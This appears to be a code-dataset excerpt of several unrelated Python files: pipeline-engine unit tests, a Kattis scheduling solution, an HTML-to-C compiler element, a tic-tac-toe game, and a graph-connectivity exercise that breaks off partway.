]\n\n def return_one_suspended(*args, **kwargs):\n return [\n StatusObject(id=1, state=states.RUNNING),\n StatusObject(id=2, state=states.SUSPENDED),\n StatusObject(id=3, state=states.RUNNING),\n StatusObject(id=4, state=states.RUNNING),\n ]\n\n def return_first_suspended(*args, **kwargs):\n return [\n StatusObject(id=1, state=states.SUSPENDED),\n StatusObject(id=2, state=states.RUNNING),\n StatusObject(id=3, state=states.RUNNING),\n StatusObject(id=4, state=states.RUNNING),\n ]\n\n def return_last_suspended(*args, **kwargs):\n return [\n StatusObject(id=1, state=states.RUNNING),\n StatusObject(id=2, state=states.RUNNING),\n StatusObject(id=3, state=states.RUNNING),\n StatusObject(id=4, state=states.SUSPENDED),\n ]\n\n with mock.patch(PIPELINE_STATUS_FILTER, return_all_running):\n self.assertEqual(process.subproc_sleep_check(), (False, [1, 2, 3, 4]))\n\n with mock.patch(PIPELINE_STATUS_FILTER, return_one_suspended):\n self.assertEqual(process.subproc_sleep_check(), (True, [1]))\n\n with mock.patch(PIPELINE_STATUS_FILTER, return_first_suspended):\n self.assertEqual(process.subproc_sleep_check(), (True, []))\n\n with mock.patch(PIPELINE_STATUS_FILTER, return_last_suspended):\n self.assertEqual(process.subproc_sleep_check(), (True, [1, 2, 3]))\n\n @patch(PIPELINE_CELERYTASK_UNBIND, MagicMock())\n def test_freeze(self):\n from pipeline.engine.models import ProcessCeleryTask\n\n pipeline = PipelineObject()\n\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n self.assertFalse(process.is_frozen)\n\n process.freeze()\n self.assertTrue(process.is_frozen)\n process.refresh_from_db()\n self.assertTrue(process.is_frozen)\n\n ProcessCeleryTask.objects.unbind.assert_called_with(process.id)\n\n @patch(SIGNAL_VALVE_SEND, MagicMock())\n def test_unfreeze(self):\n from pipeline.django_signal_valve.valve import send\n\n pipeline = PipelineObject()\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n\n process.freeze()\n process.unfreeze()\n self.assertFalse(process.is_frozen)\n process.refresh_from_db()\n self.assertFalse(process.is_frozen)\n\n send.assert_called_with(signals, \"process_unfreeze\", sender=PipelineProcess, process_id=process.id)\n\n @patch(PIPELINE_PROCESS_ADJUST_STATUS, MagicMock())\n @patch(PIPELINE_CELERYTASK_UNBIND, MagicMock())\n def test_sleep(self):\n from pipeline.engine.models import ProcessCeleryTask\n\n pipeline = PipelineObject()\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n\n process.sleep(do_not_save=True, adjust_status=True)\n process.adjust_status.assert_called_with(None)\n ProcessCeleryTask.objects.unbind.assert_not_called()\n process.adjust_status.reset_mock()\n\n process.sleep(do_not_save=True, adjust_status=True, adjust_scope=[1, 2, 3, 4])\n process.adjust_status.assert_called_with([1, 2, 3, 4])\n ProcessCeleryTask.objects.unbind.assert_not_called()\n process.adjust_status.reset_mock()\n\n process.sleep(do_not_save=False, adjust_status=False)\n process.adjust_status.assert_not_called()\n self.assertTrue(process.sleep)\n ProcessCeleryTask.objects.unbind.assert_called_with(process.id)\n\n with mock.patch(PIPELINE_PROCESS_CHILD_PROCESS_READY, MagicMock()):\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(),\n children=[1, 2, 3, 4],\n root_pipeline=IdentifyObject(),\n subprocess_stack=Stack([]),\n )\n process.snapshot = mock_snapshot\n process.sleep(do_not_save=False, adjust_status=False)\n PipelineProcess.objects.child_process_ready.assert_has_calls(\n [mock.call(1), mock.call(2), mock.call(3), mock.call(4)]\n )\n\n @patch(PIPELINE_STATUS_BATCH_TRANSIT, MagicMock())\n @patch(PIPELINE_STATUS_TRANSIT, MagicMock())\n def test_adjust_status(self):\n process = PipelineProcess.objects.create()\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(),\n children=[],\n root_pipeline=IdentifyObject(id=\"root_pipeline_id\"),\n subprocess_stack=Stack([1, 2, 3, 4]),\n )\n process.snapshot = mock_snapshot\n process.current_node_id = \"current_node_id\"\n\n def return_suspended_for_node(id, may_not_exist=False):\n if id == \"current_node_id\":\n return states.SUSPENDED\n\n def return_failed_for_node(id, may_not_exist=False):\n if id == \"current_node_id\":\n return states.FAILED\n\n def return_suspended_for_root_pipeline(id, may_not_exist=False):\n if id == \"root_pipeline_id\":\n return states.SUSPENDED\n\n def return_none_for_node(*args, **kwargs):\n return None\n\n def return_empty_list_for_subproc(subprocess_stack):\n return []\n\n def return_all_running_for_subproc(subprocess_stack):\n return [states.RUNNING, states.RUNNING, states.RUNNING, states.RUNNING]\n\n def return_last_suspended_for_subproc(subprocess_stack):\n return [states.RUNNING, states.RUNNING, states.RUNNING, states.SUSPENDED]\n\n def return_one_suspended_for_subproc(subprocess_stack):\n return [states.RUNNING, states.SUSPENDED, states.RUNNING, states.RUNNING]\n\n node_state_possibility = [return_suspended_for_node, return_failed_for_node]\n\n with mock.patch(PIPELINE_STATUS_STATES_FOR, return_empty_list_for_subproc):\n for case in node_state_possibility:\n with mock.patch(PIPELINE_STATUS_STATE_FOR, case):\n process.adjust_status()\n Status.objects.batch_transit.assert_called_with(\n id_list=[1, 2, 3, 4], state=states.BLOCKED, from_state=states.RUNNING\n )\n Status.objects.transit.assert_called_with(\n \"root_pipeline_id\", to_state=states.BLOCKED, is_pipeline=True\n )\n Status.objects.batch_transit.reset_mock()\n Status.objects.transit.reset_mock()\n\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_suspended_for_root_pipeline):\n process.adjust_status()\n Status.objects.batch_transit.assert_called_with(\n id_list=[1, 2, 3, 4], state=states.SUSPENDED, from_state=states.RUNNING\n )\n Status.objects.batch_transit.reset_mock()\n\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_none_for_node):\n with mock.patch(PIPELINE_STATUS_STATES_FOR, return_all_running_for_subproc):\n process.adjust_status()\n Status.objects.batch_transit.assert_not_called()\n\n with mock.patch(PIPELINE_STATUS_STATES_FOR, return_last_suspended_for_subproc):\n process.adjust_status(adjust_scope=[1, 2, 3])\n Status.objects.batch_transit.assert_called_with(\n id_list=[1, 2, 3], state=states.BLOCKED, from_state=states.RUNNING\n )\n Status.objects.batch_transit.reset_mock()\n\n with mock.patch(PIPELINE_STATUS_STATES_FOR, return_one_suspended_for_subproc):\n process.adjust_status(adjust_scope=[1])\n Status.objects.batch_transit.assert_called_with(\n id_list=[1], state=states.BLOCKED, from_state=states.RUNNING\n )\n Status.objects.batch_transit.reset_mock()\n\n def test_wake_up(self):\n process = PipelineProcess.objects.create()\n process.is_sleep = True\n process.save()\n\n self.assertTrue(process.is_sleep)\n process.wake_up()\n self.assertFalse(process.is_sleep)\n\n @patch(PIPELINE_CELERYTASK_DESTROY, MagicMock())\n def test_destroy(self):\n from pipeline.engine.models import ProcessCeleryTask\n\n process = PipelineProcess.objects.create()\n process.id = uniqid()\n process.current_node_id = \"current_node_id\"\n\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[1, 2, 3, 4], root_pipeline=IdentifyObject(), subprocess_stack=Stack([])\n )\n mock_snapshot.delete = MagicMock()\n process.snapshot = mock_snapshot\n\n process.destroy()\n self.assertFalse(process.is_alive)\n self.assertEqual(process.current_node_id, \"\")\n self.assertIsNone(process.snapshot)\n mock_snapshot.delete.assert_called()\n ProcessCeleryTask.objects.destroy.assert_called_with(process.id)\n\n def test_save(self):\n process = PipelineProcess.objects.create()\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[1, 2, 3, 4], root_pipeline=IdentifyObject(), subprocess_stack=Stack([])\n )\n mock_snapshot.save = MagicMock()\n process.snapshot = mock_snapshot\n\n process.save(save_snapshot=False)\n mock_snapshot.save.assert_not_called()\n process.save(save_snapshot=True)\n mock_snapshot.save.assert_called()\n mock_snapshot.save.reset_mock()\n process.save()\n mock_snapshot.save.assert_called()\n\n def test_blocked_by_failure_or_suspended(self):\n process = PipelineProcess.objects.create()\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[], root_pipeline=IdentifyObject(), subprocess_stack=Stack([])\n )\n process.snapshot = mock_snapshot\n\n def return_suspended(*args, **kwargs):\n return states.SUSPENDED\n\n def return_failed(*args, **kwargs):\n return states.FAILED\n\n def return_none(*args, **kwargs):\n return None\n\n class MockChild(object):\n def __init__(self, failed=False, suspended=False):\n self.failed = failed\n self.suspended = suspended\n\n def blocked_by_failure_or_suspended(self):\n return self.failed or self.suspended\n\n def return_child_no_anomaly(*args, **kwargs):\n return [MockChild(), MockChild(), MockChild()]\n\n def return_child_has_failed(*args, **kwargs):\n return [MockChild(), MockChild(), MockChild(failed=True)]\n\n def return_child_has_suspended(*args, **kwargs):\n return [MockChild(), MockChild(), MockChild(suspended=True)]\n\n process.is_sleep = False\n self.assertFalse(process.blocked_by_failure_or_suspended())\n\n # 当前节点已经执行失败\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_failed):\n process.is_sleep = True\n self.assertTrue(process.blocked_by_failure_or_suspended())\n\n # 当前节点被暂停\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_suspended):\n process.is_sleep = True\n self.assertTrue(process.blocked_by_failure_or_suspended())\n\n # 整个流程进入了 SUSPENDED 状态,未开始执行下一个节点\n with mock.patch(PIPELINE_STATUS_STATE_FOR, return_none):\n process.is_sleep = True\n self.assertFalse(process.blocked_by_failure_or_suspended())\n\n mock_snapshot = ProcessSnapshot.objects.create_snapshot(\n pipeline_stack=Stack(), children=[1, 2, 3], root_pipeline=IdentifyObject(), subprocess_stack=Stack([])\n )\n process.snapshot = mock_snapshot\n\n # 子进程都没有异常\n with mock.patch(PIPELINE_PROCESS_FILTER, return_child_no_anomaly):\n process.is_sleep = True\n self.assertFalse(process.blocked_by_failure_or_suspended())\n\n # 子进程中存在失败的进程\n with mock.patch(PIPELINE_PROCESS_FILTER, return_child_has_failed):\n process.is_sleep = True\n self.assertTrue(process.blocked_by_failure_or_suspended())\n\n # 子进程中存在暂停的进程\n with mock.patch(PIPELINE_PROCESS_FILTER, return_child_has_suspended):\n process.is_sleep = True\n self.assertTrue(process.blocked_by_failure_or_suspended())\n\n def test_sync_with_children(self):\n outputs = {\"output_key\": \"output_value\"}\n variables = {\"variable_key\": \"varaiable_value\"}\n\n process = PipelineProcess.objects.create()\n context = Object()\n context.update_global_var = MagicMock()\n context.sync_change = MagicMock()\n\n data = Object()\n data.update_outputs = MagicMock()\n\n mock_snapshot = ProcessSnapshot(\n data={\n \"_pipeline_stack\": Stack([PipelineObject(context=context, data=data)]),\n \"_children\": [1, 2, 3, 4],\n \"_root_pipeline\": IdentifyObject(),\n \"_subprocess_stack\": Stack([]),\n }\n )\n process.snapshot = mock_snapshot\n process.clean_children = MagicMock()\n\n def return_none(*args, **kwargs):\n return None\n\n def return_mock(id):\n if id.endswith(\"data\"):\n return DataObject(outputs=outputs)\n if id.endswith(\"context\"):\n return ContextObject(variables=variables)\n\n with mock.patch(PIPELINE_ENGINE_CORE_DATA_GET_OBJECT, return_none):\n self.assertRaises(exceptions.ChildDataSyncError, process.sync_with_children)\n\n with mock.patch(PIPELINE_ENGINE_CORE_DATA_GET_OBJECT, return_mock):\n process.sync_with_children()\n context.sync_change.assert_called()\n data.update_outputs.assert_called_with(outputs)\n process.clean_children.assert_called()\n\n @patch(PIPELINE_ENGINE_CORE_DATA_SET_OBJECT, MagicMock())\n @patch(PIPELINE_PROCESS_BLOCKED_BY_FAILURE, MagicMock())\n @patch(PIPELINE_PROCESS_DESTROY, MagicMock())\n @patch(PIPELINE_PROCESS_PROCESS_READY, MagicMock())\n @patch(PIPELINE_STATUS_BATCH_TRANSIT, MagicMock())\n @patch(PIPELINE_STATUS_TRANSIT, MagicMock())\n def test_destroy_and_wake_up_parent(self):\n context = MockContext()\n context.clear_change_keys = MagicMock()\n pipeline = PipelineObject(context=context)\n\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n children = []\n for i in range(3):\n children.append(process.__class__.objects.fork_child(process, \"current_node_id\", \"destination_id\"))\n process.join(children)\n\n # def worker(child):\n # child.destroy_and_wake_up_parent(child.destination_id)\n\n for child in children:\n child.destroy_and_wake_up_parent(child.destination_id)\n # sys_processes.append(Process(target=worker, args=(child,)))\n\n # for p in sys_processes:\n # p.start()\n #\n # for p in sys_processes:\n # p.join()\n\n process.refresh_from_db()\n self.assertEqual(process.need_ack, -1)\n self.assertEqual(process.ack_num, 0)\n self.assertEqual(PipelineProcess.blocked_by_failure_or_suspended.call_count, 2)\n PipelineProcess.objects.process_ready.assert_called_once()\n self.assertEqual(PipelineProcess.destroy.call_count, 3)\n\n def test__context_key(self):\n process = PipelineProcess.objects.create()\n process.id = uniqid()\n self.assertEqual(process._context_key(), \"{}_context\".format(process.id))\n self.assertEqual(process._context_key(process_id=\"another_id\"), \"{}_context\".format(\"another_id\"))\n\n def test__data_key(self):\n process = PipelineProcess.objects.create()\n process.id = uniqid()\n self.assertEqual(process._data_key(), \"{}_data\".format(process.id))\n self.assertEqual(process._data_key(process_id=\"another_id\"), \"{}_data\".format(\"another_id\"))\n\n def test_can_be_waked(self):\n process = PipelineProcess.objects.create()\n\n process.is_sleep = False\n process.is_alive = False\n self.assertFalse(process.can_be_waked())\n process.is_sleep = True\n process.is_alive = False\n self.assertFalse(process.can_be_waked())\n process.is_sleep = False\n process.is_alive = True\n self.assertFalse(process.can_be_waked())\n\n process.is_sleep = True\n process.is_alive = True\n process.need_ack = 3\n process.ack_num = 2\n self.assertFalse(process.can_be_waked())\n\n process.need_ack = 3\n process.ack_num = 3\n self.assertTrue(process.can_be_waked())\n process.need_ack = -1\n self.assertTrue(process.can_be_waked())\n\n @patch(PIPELINE_ENGINE_CORE_DATA_DEL_OBJECT, MagicMock())\n def test_clean_children(self):\n from pipeline.engine.core.data import del_object\n\n mock_snapshot = ProcessSnapshot(\n data={\n \"_pipeline_stack\": Stack(),\n \"_children\": [\"1\", \"2\", \"3\"],\n \"_root_pipeline\": IdentifyObject(),\n \"_subprocess_stack\": Stack([]),\n }\n )\n mock_snapshot.clean_children = MagicMock()\n mock_snapshot.save = MagicMock()\n\n process = PipelineProcess.objects.create()\n process.snapshot = mock_snapshot\n\n process.clean_children()\n del_object.assert_has_calls(\n [\n mock.call(process._context_key(\"1\")),\n mock.call(process._data_key(\"1\")),\n mock.call(process._context_key(\"2\")),\n mock.call(process._data_key(\"2\")),\n mock.call(process._context_key(\"3\")),\n mock.call(process._data_key(\"3\")),\n ]\n )\n mock_snapshot.clean_children.assert_called()\n mock_snapshot.save.assert_called()\n\n @patch(PIPELINE_STATUS_FAIL, MagicMock())\n @patch(PIPELINE_STATUS_RAW_FAIL, MagicMock())\n def test_exit_gracefully(self):\n mock_snapshot = ProcessSnapshot(\n data={\n \"_pipeline_stack\": Stack(),\n \"_children\": [\"1\", \"2\", \"3\"],\n \"_root_pipeline\": PipelineObject(),\n \"_subprocess_stack\": Stack([]),\n }\n )\n\n process = PipelineProcess.objects.create()\n process.snapshot = mock_snapshot\n process.sleep = MagicMock()\n e = Exception(\"test\")\n\n process.current_node_id = uniqid()\n process.exit_gracefully(e)\n Status.objects.fail.assert_called_with(process.current_node_id, ex_data=traceback.format_exc())\n Status.objects.raw_fail.assert_not_called()\n process.sleep.assert_called_with(adjust_status=True)\n\n Status.objects.fail.reset_mock()\n process.sleep.reset_mock()\n\n # when stack is not empty\n mock_snapshot.data[\"_pipeline_stack\"] = Stack([PipelineObject()])\n process.current_node_id = uniqid()\n process.exit_gracefully(e)\n Status.objects.fail.assert_called_with(process.current_node_id, ex_data=traceback.format_exc())\n Status.objects.raw_fail.assert_not_called()\n process.sleep.assert_called_with(adjust_status=True)\n\n Status.objects.fail.reset_mock()\n process.sleep.reset_mock()\n\n # when current_node is none\n top_pipeline = PipelineObject()\n top_pipeline.node = MagicMock(return_value=None)\n mock_snapshot.data[\"_pipeline_stack\"] = Stack([top_pipeline])\n process.current_node_id = uniqid()\n process.exit_gracefully(e)\n Status.objects.fail.assert_not_called()\n Status.objects.raw_fail.assert_called_with(process.current_node_id, ex_data=traceback.format_exc())\n process.sleep.assert_called_with(adjust_status=True)\n\n def test_refresh_current_node(self):\n node_id = uniqid()\n process = PipelineProcess.objects.create()\n process.refresh_current_node(node_id)\n process.refresh_from_db()\n self.assertEqual(process.current_node_id, node_id)\n\n @patch(PIPELINE_STATUS_BATCH_TRANSIT, MagicMock())\n def test_revoke_subprocess(self):\n mock_snapshot = ProcessSnapshot(\n data={\n \"_pipeline_stack\": Stack(),\n \"_children\": [],\n \"_root_pipeline\": PipelineObject(),\n \"_subprocess_stack\": Stack([1, 2, 3, 4]),\n }\n )\n\n process = PipelineProcess.objects.create(id=uniqid())\n process.snapshot = mock_snapshot\n process.sleep = MagicMock()\n\n process.revoke_subprocess()\n Status.objects.batch_transit.assert_called_with(id_list=[1, 2, 3, 4], state=states.REVOKED)\n\n child_1 = Object()\n child_2 = Object()\n child_3 = Object()\n child_1.revoke_subprocess = MagicMock()\n child_2.revoke_subprocess = MagicMock()\n child_3.revoke_subprocess = MagicMock()\n\n def get_child(id):\n return {1: child_1, 2: child_2, 3: child_3}[id]\n\n mock_snapshot.data[\"_children\"] = [1, 2, 3]\n\n with mock.patch(PIPELINE_PROCESS_GET, get_child):\n process.revoke_subprocess()\n Status.objects.batch_transit.assert_called_with(id_list=[1, 2, 3, 4], state=states.REVOKED)\n child_1.revoke_subprocess.assert_called()\n child_2.revoke_subprocess.assert_called()\n child_3.revoke_subprocess.assert_called()\n\n # test when subprocess_stack and children return None\n process = PipelineProcess.objects.create(id=uniqid())\n self.assertIsNone(process.subprocess_stack)\n self.assertIsNone(process.children)\n process.revoke_subprocess()\n\n @patch(PIPELINE_PROCESS_DESTROY, MagicMock())\n def test_destroy_all(self):\n mock_snapshot = ProcessSnapshot(\n data={\n \"_pipeline_stack\": Stack(),\n \"_children\": [],\n \"_root_pipeline\": PipelineObject(),\n \"_subprocess_stack\": Stack([]),\n }\n )\n process = PipelineProcess.objects.create()\n process.snapshot = mock_snapshot\n process.is_alive = False\n process.destroy_all()\n process.destroy.assert_not_called()\n\n process.is_alive = True\n process.destroy_all()\n process.destroy.assert_called()\n process.destroy.reset_mock()\n\n mock_snapshot.data[\"_children\"] = [1, 2, 3]\n\n child_1 = Object()\n child_1.children = []\n child_1.destroy = MagicMock()\n child_1.is_alive = True\n child_2 = Object()\n child_2.children = []\n child_2.destroy = MagicMock()\n child_2.is_alive = False\n child_3 = Object()\n child_3.children = [1]\n child_3.destroy = MagicMock()\n child_3.is_alive = True\n\n def get_child(id):\n return {1: child_1, 2: child_2, 3: child_3}[id]\n\n with mock.patch(PIPELINE_PROCESS_GET, get_child):\n process.destroy_all()\n child_1.destroy.assert_called()\n child_2.destroy.assert_not_called()\n child_3.destroy.assert_called()\n self.assertEqual(child_1.destroy.call_count, 2)\n\n def test_in_subprocess__true(self):\n snapshot = ProcessSnapshot(data={\"_pipeline_stack\": Stack([1, 2])})\n process = PipelineProcess()\n process.snapshot = snapshot\n\n self.assertTrue(process.in_subprocess)\n\n def test_in_subprocess__false(self):\n snapshot = ProcessSnapshot(data={\"_pipeline_stack\": Stack([1])})\n process = PipelineProcess()\n process.snapshot = snapshot\n\n self.assertFalse(process.in_subprocess)\n\n def test_priority_for_process(self):\n pipeline = PipelineObject()\n process = PipelineProcess.objects.prepare_for_pipeline(pipeline)\n priority = 5\n PipelineModel.objects.prepare_for_pipeline(pipeline=pipeline, process=process, priority=priority)\n\n self.assertEqual(PipelineProcess.objects.priority_for_process(process.id), priority)\n","repo_name":"TencentBlueKing/bamboo-engine","sub_path":"runtime/bamboo-pipeline/pipeline/tests/engine/models/core/test_pipeline_process.py","file_name":"test_pipeline_process.py","file_ext":"py","file_size_in_byte":34656,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"67"} +{"seq_id":"18947721475","text":"from collections import deque, Counter\n\nclass StopRecursion(Exception):\n pass\n\nclass Queue:\n def __init__(self, t):\n self.total = t\n self.used = 0\n self.queue = deque()\n\n def push(self,index,time):\n if time + self.used > self.total:\n return False\n self.queue.append((index,self.used))\n self.used += time\n return True\n\n def undo_push(self,time):\n self.queue.pop()\n self.used -= time\n\n def pop(self):\n return self.queue.popleft()\n\n def empty(self):\n return not self.queue\n\nclass Queues:\n def __init__(self, t):\n self.first = Queue(t)\n self.second = Queue(t)\n\n def __iter__(self):\n yield self.first\n yield self.second\n\n def used(self):\n return self.first.used, self.second.used\n\n def __str__(self):\n return ' '.join(f'{x}' for _,x in sorted(self.first.queue + self.second.queue, key=lambda z: z[0]))\n\ndef recursive_search(rest,queues,counter,mem):\n if not rest:\n print(queues)\n raise StopRecursion()\n\n stamp = (*queues.used(),counter[rest[-1][1]])\n if stamp in mem:\n return\n \n index, time = rest.pop()\n for queue in queues:\n if queue.push(index,time):\n counter[time] -= 1\n recursive_search(rest,queues,counter,mem)\n queue.undo_push(time)\n counter[time] += 1\n rest.append((index,time))\n\n mem.add(stamp)\n\ndef schedule_rest(t,rest,counter):\n try:\n queues = Queues(t)\n memory = set()\n recursive_search(rest,queues,counter,memory)\n except StopRecursion:\n pass\n\ndef main():\n t,_ = map(int,input().split())\n rest = sorted(enumerate(map(int,input().split())),key=lambda z: z[1])\n counter = Counter(x for _,x in rest)\n schedule_rest(t,rest,counter)\n\nif __name__ == \"__main__\":\n main()","repo_name":"JonSteinn/Kattis-Solutions","sub_path":"src/Muzicari/Python 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"67"} +{"seq_id":"9237763041","text":"from htmlc.diagnostics import Diagnostic, Severity\nfrom htmlc.elements.element import Element\nfrom htmlc.utils import hyphenated_to_camel_case, indent\n\n\nclass Param(Element):\n\n def __init__(self):\n super().__init__()\n self.name = None\n self.type = None\n\n def init(self):\n self.type = self.attributes.get(\"type\", {}).get(\"val\")\n for key in self.attributes:\n if key != \"type\":\n self.name = key\n break\n\n def diagnostics(self):\n return [] if self.type or not isinstance(self.parent, Def) else [\n Diagnostic(\n Severity.ERROR,\n self.code_range,\n \"Unkown param type\"\n )\n ]\n\n\nclass Def(Element):\n \"\"\"\"\n HTML:\n \n \n\n C:\n void functionname() {}\n int multiply() {}\n \"\"\"\n\n def diagnostics(self):\n d = []\n for el in self.children:\n if not isinstance(el, Param):\n continue\n if not el.name:\n d.append(Diagnostic(Severity.ERROR, el.code_range,\n \"Param without name\"))\n return d\n\n def to_c(self, mapped_c):\n return_type = self.attributes.get(\"returns\", {}).get(\"val\", \"void\")\n func_name = None\n for key in self.attributes:\n if key != \"returns\":\n func_name = hyphenated_to_camel_case(key)\n\n mapped_c.add(f\"\\n{return_type} {func_name}(\", self)\n\n first_param = True\n for el in self.children:\n if el.tagname != \"param\":\n continue\n param_name = el.name\n param_type = el.type\n if not first_param:\n mapped_c.add(\", \", self)\n mapped_c.add(f\"{param_type} {param_name}\", el)\n first_param = False\n\n mapped_c.add(\") {\\n\", self)\n mapped_c.indent(1)\n self.children_to_c(mapped_c)\n mapped_c.indent(-1)\n mapped_c.add(\"}\\n\\n\", self)\n","repo_name":"HTML-as-programming-language/HTML-as-programming-language","sub_path":"HTML_to_C_compiler/htmlc/elements/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"67"} +{"seq_id":"46784796346","text":"import random\n\nlist = [\"|\", \"a1b1\", \"|\", \"a1b2\", \"|\", \"a1b3\", \"|\", \"\\n\"\n \"|\", \"a2b1\", \"|\", \"a2b2\", \"|\", \"a2b3\", \"|\", \"\\n\"\n \"|\", \"a3b1\", \"|\", \"a3b2\",\"|\", \"a3b3\", \"|\"]\n\nlist_comp = [\"a1b1\", \"a1b2\", \"a1b3\", \"a2b1\", \"a2b2\", \"a2b3\", \"a3b1\", \"a3b2\", \"a3b3\"]\nsign = input(\"Co wybierasz kółko czy krzyzyk ?? o/x \")\nsee = (\" \" + sign + \" \")\n\nif sign == \"o\":\n sign_comp = \"x\"\nelse:\n sign_comp = \"o\"\nsee_comp = (\" \" + sign_comp + \" \")\n\nwyg = see*3\nwyg_comp = see_comp*3\n\n\ndef win(you, comp):\n if (list[1] + list[3] + list[5]) == you:\n return True\n elif (list[1] + list[3] + list[5]) == comp:\n return False\n if (list[8] + list[10] + list[12]) == you:\n return True\n elif (list[8] + list[10] + list[12]) == comp:\n return False\n if (list[-6] + list[-4] + list[-2]) == you:\n return True\n elif (list[-6] + list[-4] + list[-2]) == comp:\n return False\n if (list[1] + list[8] + list[-6]) == you:\n return True\n elif (list[1] + list[8] + list[-6]) == comp:\n return False\n if (list[3] + list[10] + list[-4]) == you:\n return True\n elif (list[3] + list[10] + list[-4]) == comp:\n return False\n if (list[5] + list[12] + list[-2]) == you:\n return True\n elif (list[5] + list[12] + list[-2]) == comp:\n return False\n if (list[1] + list[10] + list[-2]) == you:\n return True\n elif (list[1] + list[10] + list[-2]) == comp:\n return False\n if (list[5] + list[10] + list[-6]) == you:\n return True\n elif (list[5] + list[10] + list[-6]) == comp:\n return False\n\n\ndef main():\n while(1):\n win(wyg, wyg_comp)\n print(*list)\n if win(wyg, wyg_comp) == None:\n ruch = input(\"Jaki jest twój ruch \").lower()\n\n list_comp.remove(ruch)\n indeks = list.index(ruch)\n\n computer = random.choice(list_comp) # computer\n indeks_comp = list.index(computer) # computer\n\n ruch = list[indeks]\n list[indeks] = see\n\n computer = list[indeks_comp] # computer\n list_comp.remove(computer)\n list[indeks_comp] = see_comp\n elif win(wyg, wyg_comp) == True:\n print(\"Koniec GRY WYGRYWASZ !!\")\n break\n elif win(wyg, wyg_comp) == False:\n print(\"Koniec GRY WYGRYWA KOMPUTER !!\")\n break\nmain()","repo_name":"Mateusz45412/CODE-ME","sub_path":"06_funkcje_cz2/kołko_krzyzyk.py","file_name":"kołko_krzyzyk.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44157804359","text":"#\n# UFABC - Teoria dos Grafos\n# Prof. Maycon Sambinelli\n# --------------------------\n# Nome: Julio Novais da Fonseca RA: 21073215\n# \n#\n# Descrição do Programa:\n# Meu programa usa uma classe de apoio Graph que recebe uma dict no construtor\n# aonde as chaves são os vértices do grafo e os valores das chaves são listas\n# que representam as arestas a qual o vértice está conectado.\n# Ao iniciar o programa precisamos inserir as entradas n (no de aeroportos),\n# m (no de voos diretos da Pingu) e [x,y]*m (cada voo direto operado).\n# Após receber as entradas usamos o no de aeroportos como uma lista (range) e\n# convertemos essa lista como dict de entrada para a classe Graph, que cria\n# uma chave para cada item da lista e uma nova lista vazia para cada valor das\n# chaves.\n# Com a entrada dos voos operados usamos o metodo insert_edge para inserir as\n# arestas no grafo.\n# Após tudo isso começamos a percorrer o grafo duas vezes, fixando um vértice\n# e verificando se conseguimos chegar a todos os outros vértices a partir dele\n# utilizando o método search_v. Caso não seja possível chegar a algum vertice\n# adicionamos essa aresta no grafo para as próximas buscas e aumentamos um\n# contador, que representa nossos novos voos diretos, e continuamos o loop.\n# Finalizado o loop imprimimos na tela o valor do contador para informarmos\n# qual a quantidade novos voos que a Pingu precisa começar a operar para\n# atingir seus objetivos.\n\n\n\nclass Graph(object):\n\n # Método construtor do gráfico que recebe uma dict aonde as keys são os\n # vértices e os values são listas que mostram a quais outros vértices\n # este vértice está ligado\n def __init__(self, g):\n self.graph_dict = g\n self.initialize_dict()\n\n # Inicializa a dict do grafo fazendo cada valor das chaves que seja nulo\n # virar uma lista vazia\n def initialize_dict(self):\n for u, v in self.graph_dict.items():\n if v is None:\n self.graph_dict[u] = []\n\n # Método para inserir uma aresta recebendo como parâmetro uma tupla com dois\n # valores (x,y) que representam uma aresta entre os vértices x e y\n def insert_edge(self, edge):\n (u,v) = edge\n\n if u in self.graph_dict:\n self.graph_dict[u].append(v)\n self.graph_dict[v].append(u)\n else:\n self.graph_dict[u] = v\n self.graph_dict[v] = u\n\n # Método de busca por largura usando o mesmo algoritmo mostrado em aula\n # O método recebe como parâmetro um nó inicial e o nó a ser buscado\n # e retorna True caso o nó s seja encontrado e False caso não\n def search_v(self, s, w):\n vis = []\n pred = []\n\n for x in self.graph_dict:\n vis.append(False)\n pred.append(None)\n\n pred[s] = True\n\n fila = []\n fila.append(s)\n\n while len(fila) > 0:\n u = fila.pop()\n\n for v in self.graph_dict[u]:\n if v == w:\n return True\n elif vis[v] == False:\n vis[v] = True\n pred[v] = u\n fila.append(v)\n\n return False\n\n\n\nif __name__ == \"__main__\":\n\n # Recebe o inteiro do número de aeroportos e transforma em uma lista\n # contendo o range do tamanho do int passado\n n_airports = list(range(int(input())))\n\n # Inicia o grafo usando uma dict aonde as chaves vem da lista de aeroportos\n # do comando anterior, inicialmente com valores vazios em todas as chaves\n graph = Graph(dict.fromkeys(n_airports))\n\n # Recebe o número de voos diretos operados pela Pingu\n n_direct_flights = int(input())\n\n # Para cada voo direto, recebe a entrada dos vertices separado por espaço\n # (u v) e insere a aresta no grafo\n for x in range(n_direct_flights):\n a, b = map(int, input().split())\n graph.insert_edge((a, b))\n\n # Contador de novos voos diretos que a Pingu precisa começar a operar\n cnt_new_flights = 0\n\n # Loop para percorrer todos os v do grafo e comparar se conseguimos chegar\n # de todos os v a todos os v, usando o método search_v\n for u in graph.graph_dict:\n for v in range(len(graph.graph_dict)):\n # Ignora se estivermos verificando o mesmo vértice\n if v == u: pass\n\n # Caso não seja possível chegar em v a partir de u\n 